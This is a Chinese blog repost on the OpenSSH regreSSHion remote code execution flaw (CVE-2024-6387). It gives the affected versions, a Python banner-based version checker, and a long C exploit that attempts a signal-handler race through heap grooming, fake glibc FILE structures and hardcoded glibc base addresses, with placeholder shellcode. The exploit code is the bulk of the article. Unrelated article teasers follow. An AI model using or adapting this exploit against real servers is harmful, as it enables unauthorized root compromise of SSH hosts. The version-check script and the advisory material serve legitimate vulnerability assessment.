OpenSSH Server 远程代码执行漏洞(CVE-2024-6387)(附代码)

news2024/12/24 21:34:07

OpenSSH Server 远程代码执行漏洞(CVE-2024-6387)(附代码)

  • 前言
    • 影响范围
    • 验证脚本
      • 1.python
      • 2.C?
    • 参考链接

前言

2024年7月1日,OpenSSH 官方发布安全通告,披露CVE-2024-6387 OpenSSH Server 远程代码执行漏洞。
在这里插入图片描述

影响范围

8.5p1 <= OpenSSH < 9.8p1
可以使用下面代码查看版本

ssh -V

验证脚本

1.python

# Vulnerability Check for CVE-2024-6387 - Checks based on the noted versions that may be vulnerable to CVE-2024-6387.  Noted that the original individuals who identified this vulnerability only have been successful exploiting against x86-based machines, however, theoretical and additional POC's may be developed for x64-based machines running vulnerable versions of OpenSSH.
# Reference: https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
# OpenSSH Versions Affected: 
# - OpenSSH versions earlier than 4.4p1 are vulnerable to this signal handler race condition unless they are patched for CVE-2006-5051 and CVE-2008-4109
# - OpenSSH versions from 4.4p1 up to, but not including, 8.5p1 are NOT VULNERABLE due to a transformative patch for CVE-2006-5051, which made a previously unsafe function secure
# - OpenSSH versions 8.5p1 up to, but not including, 9.8p1
# --> OpenSSH versions < 4.4p1, 8.5p1 - 9.7p1
# Author: Michael Weimer 

import argparse
import paramiko
import re

# Vulnerable versions
vulnerable_versions = {
    "before_4.4p1": lambda version: int(version.split('.')[0]) < 4 or (int(version.split('.')[0]) == 4 and int(version.split('.')[1].split('p')[0]) < 4),
    "4.4p1_to_8.4p1": lambda version: 4 <= int(version.split('.')[0]) < 8 or (int(version.split('.')[0]) == 8 and int(version.split('.')[1].split('p')[0]) < 5),
    "8.5p1_to_9.8p1": lambda version: 8 <= int(version.split('.')[0]) < 9 or (int(version.split('.')[0]) == 9 and int(version.split('.')[1].split('p')[0]) < 8)
}

def parse_version(banner):
    match = re.search(r'OpenSSH_(\d+\.\d+p\d+)', banner)
    if match:
        return match.group(1)
    else:
        # 尝试处理带有附加文本的版本
        match = re.search(r'OpenSSH_(\d+\.\d+)', banner)
        if match:
            version = match.group(1)
            if re.search(r'(\d+\.\d+p\d+)', banner):
                return re.search(r'(\d+\.\d+p\d+)', banner).group(1)
            else:
                return version + "p1"
    return None

def check_ssh_version(target_ip, target_port):
    try:
        transport = paramiko.Transport((target_ip, target_port))
        transport.start_client()
        banner = transport.remote_version
        transport.close()
        print(f"SSH 标志: {banner}")

        version = parse_version(banner)
        if version:
            print(f"检测到OpenSSH版本: {version}")

            if vulnerable_versions["before_4.4p1"](version):
                print(f"检测到易受攻击版本: {version} (before 4.4p1)")
                return True
            elif vulnerable_versions["4.4p1_to_8.4p1"](version):
                print(f"检测到不易受攻击的版本: {version} (4.4p1 to 8.4p1)")
                return False
            elif vulnerable_versions["8.5p1_to_9.8p1"](version):
                print(f"检测到易受攻击版本: {version} (8.5p1 to 9.8p1)")
                return True
            else:
                print("该版本不容易受到攻击.")
                return False
        else:
            print("无法检测OpenSSH版本.")
            return False
    except Exception as e:
        print(f"连接到时出错 {target_ip}:{target_port} - {e}")
        return False

def main(args):
    is_vulnerable = check_ssh_version(args.target_ip, args.target_port)
    if is_vulnerable:
        print("目标SSH服务器易受攻击.")
    else:
        print("目标SSH服务器不容易受到攻击.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Check for vulnerable versions of OpenSSH (CVE-2024-6387).")
    parser.add_argument('--target-ip', '-t', dest='target_ip', help='Target IP', required=True)
    parser.add_argument('--target-port', '-p', dest='target_port', help='Target Port', type=int, default=22, required=False)

    args = parser.parse_args()
    main(args)

2.C?

/** 7etsuo-regreSSHion.c
 * -------------------------------------------------------------------------
 * SSH-2.0-OpenSSH_9.2p1 Exploit
 * -------------------------------------------------------------------------
 *
 * Exploit Title  : SSH Exploit for CVE-2024-6387 (regreSSHion)
 * Author         : 7etsuo
 * Date           : 2024-07-01
 *
 * Description:
 * Targets a signal handler race condition in OpenSSH's
 * server (sshd) on glibc-based Linux systems. It exploits a vulnerability
 * where the SIGALRM handler calls async-signal-unsafe functions, leading
 * to rce as root.
 *
 * Notes:
 * 1. Shellcode        : Replace placeholder with actual payload.
 * 2. GLIBC_BASES      : Needs adjustment for specific target systems.
 * 3. Timing parameters: Fine-tune based on target system responsiveness.
 * 4. Heap layout      : Requires tweaking for different OpenSSH versions.
 * 5. File structure offsets: Verify for the specific glibc version.
 * -------------------------------------------------------------------------
 */

#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
                  const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
                            uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
                               uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
                                 uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);

int
main (int argc, char *argv[])
{
  if (argc != 3)
    {
      fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
      exit (1);
    }

  const char *ip = argv[1];
  int port = atoi (argv[2]);
  double parsing_time = 0;
  int success = 0;

  srand (time (NULL));

  // Attempt exploitation for each possible glibc base address
  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
    {
      uint64_t glibc_base = GLIBC_BASES[base_idx];
      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

      // The advisory mentions "~10,000 tries on average"
      for (int attempt = 0; attempt < 20000 && !success; attempt++)
        {
          if (attempt % 1000 == 0)
            {
              printf ("Attempt %d of 20000\n", attempt);
            }

          int sock = setup_connection (ip, port);
          if (sock < 0)
            {
              fprintf (stderr, "Failed to establish connection, attempt %d\n",
                       attempt);
              continue;
            }

          if (perform_ssh_handshake (sock) < 0)
            {
              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
              close (sock);
              continue;
            }

          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);

          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success = 1;
              break;
            }

          close (sock);
          usleep (100000); // 100ms delay between attempts, as mentioned in the
                           // advisory
        }
    }

  return !success;
}

int
setup_connection (const char *ip, int port)
{
  int sock = socket (AF_INET, SOCK_STREAM, 0);
  if (sock < 0)
    {
      perror ("socket");
      return -1;
    }

  struct sockaddr_in server_addr;
  memset (&server_addr, 0, sizeof (server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons (port);
  if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
    {
      perror ("inet_pton");
      close (sock);
      return -1;
    }

  if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
      < 0)
    {
      perror ("connect");
      close (sock);
      return -1;
    }

  // Set socket to non-blocking mode
  int flags = fcntl (sock, F_GETFL, 0);
  fcntl (sock, F_SETFL, flags | O_NONBLOCK);

  return sock;
}

void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
             size_t len)
{
  unsigned char packet[MAX_PACKET_SIZE];
  size_t packet_len = len + 5;

  packet[0] = (packet_len >> 24) & 0xFF;
  packet[1] = (packet_len >> 16) & 0xFF;
  packet[2] = (packet_len >> 8) & 0xFF;
  packet[3] = packet_len & 0xFF;
  packet[4] = packet_type;

  memcpy (packet + 5, data, len);

  if (send (sock, packet, packet_len, 0) < 0)
    {
      perror ("send_packet");
    }
}

void
send_ssh_version (int sock)
{
  const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
  if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
    {
      perror ("send ssh version");
    }
}

int
receive_ssh_version (int sock)
{
  char buffer[256];
  ssize_t received;
  do
    {
      received = recv (sock, buffer, sizeof (buffer) - 1, 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  if (received > 0)
    {
      buffer[received] = '\0';
      printf ("Received SSH version: %s", buffer);
      return 0;
    }
  else if (received == 0)
    {
      fprintf (stderr, "Connection closed while receiving SSH version\n");
    }
  else
    {
      perror ("receive ssh version");
    }
  return -1;
}

void
send_kex_init (int sock)
{
  unsigned char kexinit_payload[36] = { 0 };
  send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
}

int
receive_kex_init (int sock)
{
  unsigned char buffer[1024];
  ssize_t received;
  do
    {
      received = recv (sock, buffer, sizeof (buffer), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  if (received > 0)
    {
      printf ("Received KEX_INIT (%zd bytes)\n", received);
      return 0;
    }
  else if (received == 0)
    {
      fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
    }
  else
    {
      perror ("receive kex init");
    }
  return -1;
}

int
perform_ssh_handshake (int sock)
{
  send_ssh_version (sock);
  if (receive_ssh_version (sock) < 0)
    return -1;
  send_kex_init (sock);
  if (receive_kex_init (sock) < 0)
    return -1;
  return 0;
}

void
prepare_heap (int sock)
{
  // Packet a: Allocate and free tcache chunks
  for (int i = 0; i < 10; i++)
    {
      unsigned char tcache_chunk[64];
      memset (tcache_chunk, 'A', sizeof (tcache_chunk));
      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
      // These will be freed by the server, populating tcache
    }

  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  for (int i = 0; i < 27; i++)
    {
      // Allocate large chunk (~8KB)
      unsigned char large_hole[8192];
      memset (large_hole, 'B', sizeof (large_hole));
      send_packet (sock, 5, large_hole, sizeof (large_hole));

      // Allocate small chunk (320B)
      unsigned char small_hole[320];
      memset (small_hole, 'C', sizeof (small_hole));
      send_packet (sock, 5, small_hole, sizeof (small_hole));
    }

  // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  for (int i = 0; i < 27; i++)
    {
      unsigned char fake_data[4096];
      create_fake_file_structure (fake_data, sizeof (fake_data),
                                  GLIBC_BASES[0]);
      send_packet (sock, 5, fake_data, sizeof (fake_data));
    }

  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset (large_string, 'E', sizeof (large_string));
  send_packet (sock, 5, large_string, sizeof (large_string));
}

void
create_fake_file_structure (unsigned char *data, size_t size,
                            uint64_t glibc_base)
{
  memset (data, 0, size);

  struct
  {
    void *_IO_read_ptr;
    void *_IO_read_end;
    void *_IO_read_base;
    void *_IO_write_base;
    void *_IO_write_ptr;
    void *_IO_write_end;
    void *_IO_buf_base;
    void *_IO_buf_end;
    void *_IO_save_base;
    void *_IO_backup_base;
    void *_IO_save_end;
    void *_markers;
    void *_chain;
    int _fileno;
    int _flags;
    int _mode;
    char _unused2[40];
    void *_vtable_offset;
  } *fake_file = (void *)data;

  // Set _vtable_offset to 0x61 as described in the advisory
  fake_file->_vtable_offset = (void *)0x61;

  // Set up fake vtable and _codecvt pointers
  *(uint64_t *)(data + size - 16)
      = glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
  *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
}

void
time_final_packet (int sock, double *parsing_time)
{
  double time_before = measure_response_time (sock, 1);
  double time_after = measure_response_time (sock, 2);
  *parsing_time = time_after - time_before;

  printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}

double
measure_response_time (int sock, int error_type)
{
  unsigned char error_packet[1024];
  size_t packet_size;

  if (error_type == 1)
    {
      // Error before sshkey_from_blob
      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
    }
  else
    {
      // Error after sshkey_from_blob
      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
    }

  struct timespec start, end;
  clock_gettime (CLOCK_MONOTONIC, &start);

  send_packet (sock, 50, error_packet,
               packet_size); // SSH_MSG_USERAUTH_REQUEST

  char response[1024];
  ssize_t received;
  do
    {
      received = recv (sock, response, sizeof (response), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  clock_gettime (CLOCK_MONOTONIC, &end);

  double elapsed
      = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
  return elapsed;
}

void
create_public_key_packet (unsigned char *packet, size_t size,
                          uint64_t glibc_base)
{
  memset (packet, 0, size);

  size_t offset = 0;
  for (int i = 0; i < 27; i++)
    {
      // malloc(~4KB) - This is for the large hole
      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
      offset += CHUNK_ALIGN (4096);

      // malloc(304) - This is for the small hole (potential FILE structure)
      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
      offset += CHUNK_ALIGN (304);
    }

  // Add necessary headers for the SSH public key format
  memcpy (packet, "ssh-rsa ", 8);

  // Place shellcode in the heap via previous allocations
  memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
          sizeof (shellcode));

  // Set up the fake FILE structures within the packet
  for (int i = 0; i < 27; i++)
    {
      create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
                                      + CHUNK_ALIGN (304) * i,
                                  CHUNK_ALIGN (304), glibc_base);
    }
}

int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
  unsigned char final_packet[MAX_PACKET_SIZE];
  create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);

  // Send all but the last byte
  if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
    {
      perror ("send final packet");
      return 0;
    }

  // Precise timing for last byte
  struct timespec start, current;
  clock_gettime (CLOCK_MONOTONIC, &start);

  while (1)
    {
      clock_gettime (CLOCK_MONOTONIC, &current);
      double elapsed = (current.tv_sec - start.tv_sec)
                       + (current.tv_nsec - start.tv_nsec) / 1e9;
      if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
        { // 1ms before SIGALRM
          if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
            {
              perror ("send last byte");
              return 0;
            }
          break;
        }
    }

  // Check for successful exploitation
  char response[1024];
  ssize_t received = recv (sock, response, sizeof (response), 0);
  if (received > 0)
    {
      printf ("Received response after exploit attempt (%zd bytes)\n",
              received);
      // Analyze response to determine if we hit the "large" race window
      if (memcmp (response, "SSH-2.0-", 8) != 0)
        {
          printf ("Possible hit on 'large' race window\n");
          return 1;
        }
    }
  else if (received == 0)
    {
      printf (
          "Connection closed by server - possible successful exploitation\n");
      return 1;
    }
  else if (errno == EWOULDBLOCK || errno == EAGAIN)
    {
      printf ("No immediate response from server - possible successful "
              "exploitation\n");
      return 1;
    }
  else
    {
      perror ("recv");
    }
  return 0;
}

int
perform_exploit (const char *ip, int port)
{
  int success = 0;
  double parsing_time = 0;
  double timing_adjustment = 0;

  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
    {
      uint64_t glibc_base = GLIBC_BASES[base_idx];
      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

      for (int attempt = 0; attempt < 10000 && !success; attempt++)
        {
          if (attempt % 1000 == 0)
            {
              printf ("Attempt %d of 10000\n", attempt);
            }

          int sock = setup_connection (ip, port);
          if (sock < 0)
            {
              fprintf (stderr, "Failed to establish connection, attempt %d\n",
                       attempt);
              continue;
            }

          if (perform_ssh_handshake (sock) < 0)
            {
              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
              close (sock);
              continue;
            }

          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);

          // Implement feedback-based timing strategy
          parsing_time += timing_adjustment;

          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success = 1;
              // In a real exploit, we would now attempt to interact with the
              // shell
            }
          else
            {
              // Adjust timing based on feedback
              timing_adjustment += 0.00001; // Small incremental adjustment
            }

          close (sock);
          usleep (100000); // 100ms delay between attempts, as mentioned in the
                           // advisory
        }
    }

  return success;
}

参考链接

链接: github
链接: github

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2137162.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python画笔案例-049 绘制笑脸

1、绘制笑脸 通过 python 的turtle 库绘制 笑脸&#xff0c;如下图&#xff1a; 2、实现代码 绘制 笑脸&#xff0c;以下为实现代码&#xff1a; """笑脸.py """ import turtledef draw_circle(pos,radius):"""以pos为中心点画圆…

加拿大发布的认知战思想与力量发展

文章目录 前言一、心理作战、影响力与欺骗战术1.1 孙子兵法中的认知战思想1.2 虚假信息轰炸1.3 人脑领域的持久胜利二、加拿大及其盟友面临的认知战威胁三、俄罗斯实施的认知战3.1 利用虚假信息加剧社会两级分化并刺激个别激进群体3.2 新一代的虚假信息行动有可能造成严重的认知…

redis基本数据结构-set

文章目录 1. set的基本介绍1.1. set底层结构之hash表的简单介绍1.2. 常用命令 2. 常见的业务场景2.1. 标签系统2.2. 社交网络好友关系 1. set的基本介绍 参考链接&#xff1a;https://mp.weixin.qq.com/s/srkd73bS2n3mjIADLVg72A redis 的 set 数据结构是一个无序的集合&#…

【JavaScript】数据结构之字典 哈希表

字典 键值对存储的&#xff0c;类似于js的对象&#xff0c;但在js对象中键[key]都是字符串类型或者会转换成字符串类型&#xff0c;因此后声明的键值会覆盖之前声明的值。字典以map表示&#xff0c;map的键不会转换类型。 let map new Map() map.set(a, 1) map.set(b, 2) ma…

智能门锁为何选择ESP32-S3芯片?低功耗高性能方案,启明云端乐鑫代理商

在科技日新月异的今天&#xff0c;家庭安全不再仅仅依赖于传统的锁和钥匙。智能门锁&#xff0c;作为智能家居系统的前沿产品&#xff0c;正逐渐走进千家万户&#xff0c;成为家庭安全的高科技守护者。 智能门锁是一种利用现代科技手段&#xff0c;通过电子化、信息化技术改进…

Linux.之设备树DTS(device tree source)(一)

一、概述 Device Tree是一种描述硬件的数据结构&#xff0c;相比于旧架构它起源于 OpenFirmware (OF),在过去的ARM Linux中&#xff0c;arch/arm/plat-xxx和arch/arm/mach-xxx中充斥着大量的冗余代码&#xff0c;相当多数的代码只是在描述板级硬件细节&#xff0c;而这些不同的…

【二十】【QT开发应用】listwidget右键菜单和删除item

创建项目&#xff0c;添加资源文件 在项目文件夹中创建resources资源文件夹。 在vs中打开qrc文件&#xff0c;选择添加资源文件。 选择我们resources资源文件中的所有文件作为资源文件。 最后不要忘记点击保存。 向ListWidget控件添加item 右键菜单 在.h文件中添加QMenu头…

代码随想录算法训练营第五十九天 | Bellman_ford 算法精讲

目录 Bellman_ford 算法精讲 思路 什么叫做松弛 模拟过程 方法一&#xff1a; Bellman_ford算法 Bellman_ford 算法精讲 题目链接&#xff1a;卡码网&#xff1a;94. 城市间货物运输 I 文章讲解&#xff1a;代码随想录 某国为促进城市间经济交流&#xff0c;决定对货物运…

maya-vray渲染蒙版

要用一个叫vrayMulWrapper的材质球&#xff0c;把alpha Conterbution调到-1&#xff0c;勾选matte surface启用蒙版物体。

【C++题解】1406. 石头剪刀布?

欢迎关注本专栏《C从零基础到信奥赛入门级&#xff08;CSP-J&#xff09;》 问题&#xff1a;1406. 石头剪刀布&#xff1f; 类型&#xff1a;二维数组 题目描述&#xff1a; 石头剪刀布是常见的猜拳游戏。石头胜剪刀&#xff0c;剪刀胜布&#xff0c;布胜石头。如果两个人出…

数据库索引底层数据结构之B+树MySQL中的页索引分类【纯理论干货,面试必备】

目录 1、索引简介 1.1 什么是索引 1.2 使用索引的原因 2、索引中数据结构的设计 —— B树 2.1 哈希 2.2 二叉搜索树 2.3 B树 2.4 最终选择之——B树 2.4.1 B树与B树的对比(面向索引)【面试题】 3、MySQL中的页 3.1 页的使用原因 3.2 页的结构 3.2.1 页文件头和页文件…

Unity实战案例全解析:PVZ 植物卡片状态分析

Siki学院2023的PVZ免费了&#xff0c;学一下也坏 卡片状态 卡片可以有三种状态&#xff1a; 1.阳光足够&#xff0c;&#xff08;且cd好了可以种植&#xff09; 2.阳光不够&#xff0c;&#xff08;cd&#xff1f;好了&#xff1a;没好 &#xff08;三目运算符&#xff09;&…

Linux | 探索 Linux 信号机制:信号的产生和自定义捕捉

信号是 Linux 操作系统中非常重要的进程控制机制&#xff0c;用来异步通知进程发生某种事件。理解信号的产生、阻塞、递达、捕捉等概念&#xff0c;可以帮助开发者更好地编写健壮的应用程序&#xff0c;避免由于未处理的信号导致程序异常退出。本文将带你从基础概念开始&#x…

基于SpringBoot+Vue的牙科就诊管理系统(带1w+文档)

基于SpringBootVue的牙科就诊管理系统(带1w文档) 基于SpringBootVue的牙科就诊管理系统(带1w文档) 伴随着互联网发展&#xff0c;现今信息类型愈来愈多&#xff0c;信息量也非常大&#xff0c;那也是信息时代的缩影。近些年&#xff0c;电子元器件信息科学合理发展的趋势变的越…

【React】React18.2.0核心源码解读

前言 本文使用 React18.2.0 的源码&#xff0c;如果想回退到某一版本执行git checkout tags/v18.2.0即可。如果打开源码发现js文件报ts类型错误请看本人另一篇文章&#xff1a;VsCode查看React源码全是类型报错如何解决。 阅读源码的过程&#xff1a; 下载源码 观察 package…

C# System.BadImageFormatException问题及解决

C# System.BadImageFormatException问题 出现System.BadImageFormatException 异常有两种情况&#xff1a;程序目标平台不一致&引用dll文件的系统平台不一致。 异常参考 BadImageFormatException 程序目标平台不一致&#xff1a; 项目>属性>生成&#xff1a;x86 …

学LabVIEW编程,看编程书有些看不懂怎么办?

自学LabVIEW编程时&#xff0c;如果发现编程书籍内容难以理解&#xff0c;可以尝试以下几种方式来提高学习效果&#xff1a; 1. 从基础入手&#xff0c;逐步深入&#xff1a; LabVIEW是一种基于图形化编程的工具&#xff0c;不同于传统的编程语言&#xff0c;因此从基础概念开…

linux 操作系统下cupsenable命令介绍和使用案例

linux 操作系统下cupsenable命令介绍和使用案例 cupsenable 命令是 Linux 操作系统中用于启用 CUPS&#xff08;通用打印服务&#xff09;打印机的命令。它允许用户将指定的打印机重新启用&#xff0c;从而使其可以接受新的打印作业 cupsenable 命令概述 基本语法 bash cup…

LEAN 赋型唯一性(Unique Typing)之 n-provability 注解

《LEAN 赋型唯一性&#xff08;Unique Typing&#xff09;之 证明过程简介》 中&#xff0c;梳理了赋型唯一性&#xff08;Unique Typing&#xff09;牵涉的概念及相关推论与证明&#xff0c;此篇文章就先介绍 n-provability 的概念&#xff0c;记 ⊢ₙ 。其围绕的是赋型规则&a…

PHP创意无限一键生成小程序名片生成系统源码

创意无限&#xff0c;一键生成 —— 小程序名片生成系统&#xff0c;开启你的个性化商务新时代&#xff01; 一、告别千篇一律&#xff0c;拥抱个性化名片 你还在使用那些千篇一律的传统纸质名片吗&#xff1f;是时候做出改变了&#xff01;现在有了“创意无限一键生成小程序名…